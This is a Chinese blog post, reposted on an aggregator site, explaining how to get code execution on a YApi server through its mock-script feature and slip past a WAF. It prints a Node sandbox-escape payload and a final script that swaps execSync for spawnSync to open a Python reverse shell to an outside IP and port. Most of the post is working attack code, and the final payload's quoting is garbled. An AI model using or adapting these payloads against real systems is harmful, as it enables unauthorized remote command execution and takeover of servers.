栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

Yapi 代码执行waf绕过小技巧

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Yapi 代码执行waf绕过小技巧

  疫情在家办公,这时接到boss的电话说要做一个流量分析,老板发话干就干。对恶意告警分析差不多了,没事翻一翻流量,结果意外发现一个大宝贝!就这样开始了与Yapi的美丽邂逅。

高兴之余赶紧注册账户,写入恶意脚本。

const sandbox = this

const ObjectConstructor = this.constructor

const FunctionConstructor = ObjectConstructor.constructor

const myfun = FunctionConstructor('return process')

const process = myfun()

mockJson = process.mainModule.require("child_process").execSync(“whoami”)

  当激动的点击保存脚本的时候发现浏览器并没有反应,起初以为是管理员禁用了保存功能,后来随便保存一串字符结果显示保存成功,看看浏览器 ajax 请求原来是保存恶意脚本 的请求被拒绝了,怪不得恶意攻击的流量里没有发现这个资产,原来是有 waf 进行防御的。既然来了就不能放过,分段保存恶意脚本,经过一步一步的尝试最后定位被拦截是因为 识别到了 exec()。 该恶意脚本为 nodjs 脚本,翻一翻官方文档看到了以下内容:

原来最后那一行是起到了在windows上衍生.bat和.cmd文件的作用。
  既然child_process.execSync()被禁那尝试使用spaw()替代尝试是否可绕过。点击保存显示保存成功。赶紧访问保存的恶意脚本进行反弹shell结果vps半天没消息,就在怀疑该主机是否不出网的时候被叫吃中午饭了,暂放一阶段。
  吃完饭回来理了理思路,突然发现文档中exec()与spaw()语法是有区别的exec()可以直接行的命令和参数写进去比如.exec(ping 17 2 .2 3 .24.171 -c 4)而 span()只能 span(ping[‘17 2 .2 3 .24.171’,’-c’,’4’]),span()的命令和参数是分开的。
  用nc进行反弹结果等了个寂寞,用python进行反弹,点击保存并访问脚本,结果啪唧一下很突然:

最后的脚本

const sandbox = this

const ObjectConstructor = this.constructor

const FunctionConstructor = ObjectConstructor.constructor

const myfun = FunctionConstructor('return process')

const process = myfun()

Poc=process.mainModule.require("child_process").spawnSync(‘python’[‘c’,’'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.23.24.171",6665));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'’])
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/724871.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号